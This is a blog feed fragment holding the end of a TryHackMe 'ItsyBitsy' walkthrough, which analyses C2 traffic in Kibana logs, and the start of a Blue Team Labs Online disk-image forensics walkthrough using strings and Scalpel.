950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-itsybitsy-challenge-walkthrough/78df9ec44d271308d490784f1e96c33c_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Total Hits&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;1aafd557d9e6fea7580d37a269200421_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2630px&#34; data-flex-grow=&#34;1095&#34; height=&#34;73&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-itsybitsy-challenge-walkthrough/1aafd557d9e6fea7580d37a269200421_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-2-what-is-the-ip-associated-with-the-suspected-user-in-thelogs&#34;&gt;Question 2: What is the IP associated with the suspected user in the logs?&#xA;&lt;/h3&gt;&lt;p&gt;Since we have so many log entries, we’ll want to filter this to a manageable level. To do this, let’s check out the &lt;em&gt;source_ip&lt;/em&gt; field filter which will help us to determine how many source hosts we have captured in our logs.&lt;/p&gt;&#xA;&lt;p&gt;On the fly-out menu, we will have some analytics about the top 5 values that appear in the logs. Fortunately for us, there are only two entries.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;90e7fac6cbc331a769ca862c5f0815ec_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;185px&#34; data-flex-grow=&#34;77&#34; height=&#34;733&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-itsybitsy-challenge-walkthrough/90e7fac6cbc331a769ca862c5f0815ec_MD5.png&#34; width=&#34;567&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;One IP accounts for 99.6% of the traffic, and the second only accounts for 0.4%.&lt;/p&gt;&#xA;&lt;p&gt;Before we go too crazy wading through a massive number of records, let’s check the IP address with the fewest number of hits by adding the source IP to the filter. I searched it manually in the query box, but you can also simply hit the + next to the value to add it to the filter.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;a1f6ca1c60796f86aba87c673851c0aa_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;757px&#34; data-flex-grow=&#34;315&#34; height=&#34;380&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-itsybitsy-challenge-walkthrough/a1f6ca1c60796f86aba87c673851c0aa_MD5.png&#34; srcset=&#34;https://stumblesec.com/posts/tryhackme-itsybitsy-challenge-walkthrough/a1f6ca1c60796f86aba87c673851c0aa_MD5_hu_8d03310d5fd4702d.png 800w, https://stumblesec.com/posts/tryhackme-itsybitsy-challenge-walkthrough/a1f6ca1c60796f86aba87c673851c0aa_MD5.png 1200w&#34; width=&#34;1200&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;This IP address only has two logged events which makes it a bit easier for us to analyze. Right away, there are a few suspicious indicators but let’s do some reconnaissance on the destination IP address to see if we can locate any intelligence.&lt;/p&gt;&#xA;&lt;p&gt;We’ll start with &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;VirusTotal&lt;/em&gt;&lt;/a&gt; to get an overview and see if there are any hits for malicious activity associated with this IP address:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;ac394265d3682065e8e43b67316dbaaa_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1454px&#34; data-flex-grow=&#34;606&#34; height=&#34;132&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-itsybitsy-challenge-walkthrough/ac394265d3682065e8e43b67316dbaaa_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Interestingly, there are no hits for malware, however the banner shows that there are “10+ detected files communicating with this IP address” — that’s odd, let’s take a closer look at that.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;4dec9ff459d8d6505ea23190492bb004_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;738px&#34; data-flex-grow=&#34;307&#34; height=&#34;260&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-itsybitsy-challenge-walkthrough/4dec9ff459d8d6505ea23190492bb004_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;The files communicating with this domain seem to have a high number of hits for malicious activity. This is giving us some confidence that we have found the host IP address of the infected user. But let’s double-check with another service as well, &lt;a class=&#34;link&#34; href=&#34;https://www.hybrid-analysis.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;Hybrid Analysis&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;69a1c885a25a8aa578697f6c4ff4c508_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1149px&#34; data-flex-grow=&#34;479&#34; height=&#34;167&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-itsybitsy-challenge-walkthrough/69a1c885a25a8aa578697f6c4ff4c508_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;Hybrid Analysis&lt;/em&gt; also assesses that this IP has been associated with some malicious activity. So, would have enough information to say that we found the correct local IP address for the victim. Let’s enter our answer to check our work.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d6dc57a5603d078fabae26dbb8aaa54a_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2493px&#34; data-flex-grow=&#34;1038&#34; height=&#34;77&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-itsybitsy-challenge-walkthrough/d6dc57a5603d078fabae26dbb8aaa54a_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-3-the-users-machine-used-a-legit-windows-binary-to-download-a-file-from-the-c2-server-what-is-the-name-of-thebinary&#34;&gt;Question 3: The user’s machine used a legit windows binary to download a file from the C2 server. What is the name of the binary?&#xA;&lt;/h3&gt;&lt;p&gt;Now that we know the victim’s local IP address and have an idea of what IP address the infected device was communicating with for &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/tactics/TA0011/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;command and control&lt;/a&gt; (C2), we need to determine what application or service was being used for the connection. Let’s focus on the &lt;em&gt;user_agent&lt;/em&gt; field to answer &lt;strong&gt;Question 3.&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you aren’t familiar, &lt;a class=&#34;link&#34; href=&#34;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;user-agent&lt;/em&gt;&lt;/a&gt;&lt;em&gt;s&lt;/em&gt; are request headers that servers use to identify requesting client details like the operating system, web browser version, or application.&lt;/p&gt;&#xA;&lt;p&gt;In this log, we have an unusual &lt;em&gt;user_agent&lt;/em&gt; that isn’t something typical like a web browser, for example. This indicates that the malware might be living off the land and using a legitimate &lt;em&gt;Microsoft&lt;/em&gt; command-line tool.&lt;/p&gt;&#xA;&lt;p&gt;I don’t want to spoil the fun but if we do a little research about this user agent, we’ll stumble on some helpful information from &lt;em&gt;Microsoft Learn —&lt;/em&gt; this particular tool can be leveraged to:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;create, download or upload jobs, and to monitor their progress.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;e9701e9bd96214999f19a993a80ec1ef_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1729px&#34; data-flex-grow=&#34;720&#34; height=&#34;111&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-itsybitsy-challenge-walkthrough/e9701e9bd96214999f19a993a80ec1ef_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;In other words, this information confirms that this utility can be used to download files. Let’s submit our findings and move on to the next question.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;717707a420627c9f5be1027650ba38c2_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2526px&#34; data-flex-grow=&#34;1052&#34; height=&#34;76&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-itsybitsy-challenge-walkthrough/717707a420627c9f5be1027650ba38c2_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-4-the-infected-machine-connected-with-a-famous-filesharing-site-in-this-period-which-also-acts-as-a-c2-server-used-by-the-malware-authors-to-communicate-what-is-the-name-of-the-filesharing-site&#34;&gt;Question 4: The infected machine connected with a famous filesharing site in this period, which also acts as a C2 server used by the malware authors to communicate. What is the name of the filesharing site?&#xA;&lt;/h3&gt;&lt;p&gt;In &lt;strong&gt;Question 2&lt;/strong&gt;, we found evidence that the victim’s device communicated with a destination IP address that resolves to a web-based file sharing service. According to &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1102/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;MITRE ATT&amp;amp;CK (T1102)&lt;/em&gt;&lt;/a&gt;, this site has been used for command and control by some threat actors and malware families.&lt;/p&gt;&#xA;&lt;p&gt;Let’s confirm that our IP intelligence is correct by looking at the &lt;em&gt;host&lt;/em&gt; field.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d2c8f14b45a92516dee90b66c6acf4de_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1864px&#34; data-flex-grow=&#34;776&#34; height=&#34;103&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-itsybitsy-challenge-walkthrough/d2c8f14b45a92516dee90b66c6acf4de_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Since the &lt;em&gt;host&lt;/em&gt; matches the intelligence that we found about the IP address, we have our answer.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;c188eb09c1c9122c6f4484f1ee4a71c5_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2232px&#34; data-flex-grow=&#34;930&#34; height=&#34;86&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-itsybitsy-challenge-walkthrough/c188eb09c1c9122c6f4484f1ee4a71c5_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-5-what-is-the-full-url-of-the-c2-to-which-the-infected-host-is-connected&#34;&gt;Question 5: What is the full URL of the C2 to which the infected host is connected?&#xA;&lt;/h3&gt;&lt;p&gt;Okay, to answer &lt;strong&gt;Question 5&lt;/strong&gt;, we have the simple task of combining the &lt;em&gt;host&lt;/em&gt; domain from &lt;strong&gt;Question 4&lt;/strong&gt; with the &lt;em&gt;uri&lt;/em&gt; field of the event. This will form the hostname/path combination of the URL that we are looking for to answer this question!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;35d99ce083a01c4e5affd4ffa29c70d9_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1864px&#34; data-flex-grow=&#34;776&#34; height=&#34;103&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-itsybitsy-challenge-walkthrough/35d99ce083a01c4e5affd4ffa29c70d9_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;a160aa108bc0be8c7b0ca61d91738856_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;2493px&#34; data-flex-grow=&#34;1038&#34; height=&#34;77&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-itsybitsy-challenge-walkthrough/a160aa108bc0be8c7b0ca61d91738856_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;questions-6-7&#34;&gt;Questions 6 &amp;amp; 7:&#xA;&lt;/h3&gt;&lt;h4 id=&#34;a-file-was-accessed-on-the-filesharing-site-what-is-the-name-of-the-file-accessed&#34;&gt;A file was accessed on the filesharing site. What is the name of the file accessed?&#xA;&lt;/h4&gt;&lt;h4 id=&#34;the-file-contains-a-secret-code-with-the-format-thm_____&#34;&gt;The file contains a secret code with the format THM{_____}.&#xA;&lt;/h4&gt;&lt;p&gt;All right, we made it to the last two questions! So far, we have determined the IP address, application, domain, and URL that the victim’s infected device accessed. The last step for this challenge is to determine the name and content of the file hosted on this file sharing site.&lt;/p&gt;&#xA;&lt;p&gt;Unfortunately, the &lt;em&gt;connection_logs index&lt;/em&gt; does not seem to contain any of the file data that we are looking for, so we have to pivot. What if we navigate to the URL that we assembled in &lt;strong&gt;Question 5&lt;/strong&gt; to view the public site directly?&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;9c602a60acb35b257e1795ac2d709cea_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;653px&#34; data-flex-grow=&#34;272&#34; height=&#34;294&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-itsybitsy-challenge-walkthrough/9c602a60acb35b257e1795ac2d709cea_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once there, it looks like our research paid off! We found both the file that was accessed and can view the contents. Let’s submit our answers and wrap up this investigation!&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;d3936cdc5a5166d45bed5f0b619827ff_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;1315px&#34; data-flex-grow=&#34;547&#34; height=&#34;146&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/tryhackme-itsybitsy-challenge-walkthrough/d3936cdc5a5166d45bed5f0b619827ff_MD5.png&#34; width=&#34;800&#34;&gt;&lt;/p&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;conclusion&#34;&gt;Conclusion:&#xA;&lt;/h3&gt;&lt;p&gt;Hey, nice job with the investigation! We successfully completed the listed objectives and analyzed the HTTP connection log file, found the required evidence, and have an understanding of the payload to complete the &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/r/room/itsybitsy&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;ItsyBitsy&lt;/strong&gt;&lt;/a&gt; challenge! It’s time to close the case.&lt;/p&gt;&#xA;&lt;p&gt;A big thank you to &lt;a class=&#34;link&#34; href=&#34;https://tryhackme.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;TryHackMe&lt;/strong&gt;&lt;/a&gt; for hosting this awesome challenge! I haven’t had an opportunity to jump into &lt;em&gt;Elastic&lt;/em&gt; so this was a fantastic challenge to learn about the tool and get a high-level overview of how it can be leveraged to analyze large data sets and apply that to incident response. While I’m sure this barely scratches the surface of what the tool is capable of, I gained plenty of valuable hands-on experience with &lt;em&gt;Kibana&lt;/em&gt; and am looking forward to the next time I’ll get to practice with &lt;em&gt;Elastic!&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;I hope that you had as much fun as I did and learned something new, too!&lt;/p&gt;&#xA;&lt;p&gt;Thank you so much for reading along and working through this investigation with me. Until next week — stay curious!&lt;/p&gt;&#xA;&lt;h3 id=&#34;tools--references&#34;&gt;Tools &amp;amp; References:&#xA;&lt;/h3&gt;&lt;p&gt;&lt;strong&gt;VirusTotal:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.virustotal.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.virustotal.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Hybrid Analysis:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://www.hybrid-analysis.com/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://www.hybrid-analysis.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Command and Control:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/tactics/TA0011/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/tactics/TA0011/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Mozilla Developer (User Agent):&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/User-Agent&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Microsoft bitsadmin:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/bitsadmin&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;MITRE ATT&amp;amp;CK — Web Service:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://attack.mitre.org/techniques/T1102/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://attack.mitre.org/techniques/T1102/&lt;/a&gt;&lt;/p&gt;&#xA;</description>
        </item><item>
            <title>Blue Team Labs Online  —  Employee of the Year Challenge Walkthrough</title>
            <link>https://stumblesec.com/posts/blue-team-labs-online-employee-of-the-year-challenge-walkthrough/</link>
            <pubDate>Sun, 16 Jun 2024 00:00:00 +0000</pubDate>
            <guid>https://stumblesec.com/posts/blue-team-labs-online-employee-of-the-year-challenge-walkthrough/</guid>
            <description>&lt;img src=&#34;https://stumblesec.com/posts/blue-team-labs-online-employee-of-the-year-challenge-walkthrough/3fddc47f3cb853037582cb2c4d76f68a_MD5.png&#34; alt=&#34;Featured image of post Blue Team Labs Online  —  Employee of the Year Challenge Walkthrough&#34; /&gt;&lt;h3 id=&#34;blue-team-labs-onlineemployee-of-the-year-challenge-walkthrough&#34;&gt;Blue Team Labs Online — Employee of the Year Challenge Walkthrough&#xA;&lt;/h3&gt;&lt;h4 id=&#34;analyzing-a-dd-disk-image-with-scalpel-andphotorec&#34;&gt;Analyzing a DD disk image with Scalpel and PhotoRec&#xA;&lt;/h4&gt;&lt;p&gt;&lt;img alt=&#34;3fddc47f3cb853037582cb2c4d76f68a_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;397px&#34; data-flex-grow=&#34;165&#34; height=&#34;433&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-employee-of-the-year-challenge-walkthrough/3fddc47f3cb853037582cb2c4d76f68a_MD5.png&#34; width=&#34;718&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Image Credit: &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://blueteamlabs.online/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;introduction&#34;&gt;Introduction:&#xA;&lt;/h3&gt;&lt;p&gt;Welcome to my weekly walkthrough!&lt;/p&gt;&#xA;&lt;p&gt;Have you ever been curious about recovering deleted data from a disk image file? Well, we’re about to explore data recovery and analysis by tackling the &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/home/challenge/employee-of-the-year-df16bc36f3&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Employee of the Year&lt;/strong&gt;&lt;/a&gt; challenge from &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Blue Teams Labs Online&lt;/strong&gt;&lt;/a&gt;! This is a capture the flag style challenge that has us defenders investigating a &lt;em&gt;DD disk image&lt;/em&gt;, searching for lost files, and recovering flags from inside of the document structures by leveraging &lt;em&gt;Scalpel&lt;/em&gt; and &lt;em&gt;PhotoRec.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;So, whether you’re here to learn more about &lt;em&gt;DD file&lt;/em&gt; analysis, check out some practical use of file carving tools, or are just looking for a reference walkthrough for the &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/home/challenge/employee-of-the-year-df16bc36f3&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Employee of the Year&lt;/strong&gt;&lt;/a&gt; challenge, you’ve stumbled on the right blog.&lt;/p&gt;&#xA;&lt;p&gt;Now, let’s put on our detective hats and have some fun with forensics! Thanks for reading along!&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Challenge Link:&lt;/strong&gt; &lt;a class=&#34;link&#34; href=&#34;https://blueteamlabs.online/home/challenge/employee-of-the-year-df16bc36f3&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;https://blueteamlabs.online/home/challenge/employee-of-the-year-df16bc36f3&lt;/a&gt;&lt;/p&gt;&#xA;&lt;h3 id=&#34;challenge-scenario&#34;&gt;Challenge Scenario:&#xA;&lt;/h3&gt;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;John received the ‘Best Employee of the Year’ award for his hard work at FakeCompany Ltd. Unfortunately, today John deleted some important files (typical John!). It’s your job to recover the deleted files and capture all the flags contained within!&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;hr&gt;&#xA;&lt;h3 id=&#34;setup-the-remnux-analysis-environment--extract-the-challenge-file&#34;&gt;Setup the REMnux Analysis Environment &amp;amp; Extract the challenge file:&#xA;&lt;/h3&gt;&lt;p&gt;Safety first — It’s always important when working with lab/challenge files from &lt;em&gt;Blue Team Labs Online (or any educational lab/challenge/range)&lt;/em&gt; to keep yourself safe by performing these tasks in a dedicated, isolated virtual machine environment. For example, I’m using &lt;a class=&#34;link&#34; href=&#34;https://remnux.org/&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;em&gt;REMnux&lt;/em&gt;&lt;/a&gt; for this challenge and walkthrough.&lt;/p&gt;&#xA;&lt;p&gt;To keep this write-up focused I’m going to skip a step-by-step setup guide of &lt;em&gt;REMnux&lt;/em&gt;. Instead, if you want to set up your own &lt;em&gt;REMnux&lt;/em&gt; environment please follow the directions provided by &lt;em&gt;REMnux&lt;/em&gt; directly. I opted for the virtual appliance method:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance&#34;  title=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance&#34;&#xA;     target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;Get the Virtual Appliance | REMnux Documentation&lt;/strong&gt;&#xA;_The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into…_docs.remnux.org&lt;/a&gt;&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/install-distro/get-virtual-appliance&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Okay! Now that we have our virtual environment created, updated, isolated, and snapshotted, we can download and extract our challenge file and get started!&lt;/p&gt;&#xA;&lt;h3 id=&#34;question-1-what-is-the-text-written-on-the-recovered-gifimage&#34;&gt;Question 1: What is the text written on the recovered gif image?&#xA;&lt;/h3&gt;&lt;p&gt;Let’s dive right in and get an overview of the &lt;strong&gt;.dd&lt;/strong&gt; file. This is a raw disk image file and we will be working to recover the data deleted by the user.&lt;/p&gt;&#xA;&lt;p&gt;To start out, we’re going to use the &lt;em&gt;strings&lt;/em&gt; command. At a high-level, this will help us reveal some of the data within the image by printing pieces of data contained (strings) within the image out to the console.&lt;/p&gt;&#xA;&lt;p&gt;`strings recoverfiles.dd&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;79dc1476f4d373287c009edbcdb5f8cf_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;283px&#34; data-flex-grow=&#34;118&#34; height=&#34;509&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; src=&#34;https://stumblesec.com/posts/blue-team-labs-online-employee-of-the-year-challenge-walkthrough/79dc1476f4d373287c009edbcdb5f8cf_MD5.png&#34; width=&#34;602&#34;&gt;&lt;/p&gt;&#xA;&lt;p&gt;Output of the strings command on the .dd image file.&lt;/p&gt;&#xA;&lt;p&gt;Right away we will see some interesting, relevant strings at the very top of the output. For &lt;strong&gt;Question 1&lt;/strong&gt; we are going to focus on recovering the &lt;em&gt;.gif&lt;/em&gt; image, but how do we extract the information from the image?&lt;/p&gt;&#xA;&lt;p&gt;We’re going to use the data carving tool, &lt;a class=&#34;link&#34; href=&#34;https://github.com/sleuthkit/scalpel&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;&lt;strong&gt;&lt;em&gt;Scalpel&lt;/em&gt;&lt;/strong&gt;&lt;/a&gt;. According to the &lt;em&gt;REMnux&lt;/em&gt; documentation, &lt;em&gt;Scalpel&lt;/em&gt; is used to:&lt;/p&gt;&#xA;&#xA;    &lt;blockquote&gt;&#xA;        &lt;p&gt;&lt;a class=&#34;link&#34; href=&#34;https://docs.remnux.org/discover-the-tools/gather&amp;#43;and&amp;#43;analyze&amp;#43;data#scalpel&#34;  target=&#34;_blank&#34; rel=&#34;noopener&#34;&#xA;    &gt;Carve contents out of binary files, such as partitions.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;    &lt;/blockquote&gt;&#xA;&lt;p&gt;So how do we do this? Well, &lt;em&gt;Scalpel&lt;/em&gt; uses a targeted approach, so we need to know what type of file that we’re looking for. In this case we know that we need to carve out a &lt;em&gt;GIF&lt;/em&gt; file, so we’ll first need to adjust the &lt;em&gt;Scalpel&lt;/em&gt; configuration file by uncommenting (removing #) the relevant lines for &lt;em&gt;GIF&lt;/em&gt; files in a text editor. For example, I’ll use &lt;em&gt;Nano.&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;sudo nano /etc/scalpel/scalpel.conf&lt;/p&gt;&#xA;&lt;p&gt;&lt;img alt=&#34;b22dda07f1a0a6f54f4a37e5f81e2b14_MD5.png&#34; class=&#34;gallery-image&#34; data-flex-basis=&#34;379px&#34; data-flex-grow=&#34;158&#34; height=&#34;506&#34; loading=&#34;lazy&#34; sizes=&#34;(max-width: 767px) calc(100vw - 30px), (max-width: 1023px) 700px, (max-width: 1279px) 950px, 1232px&#34; 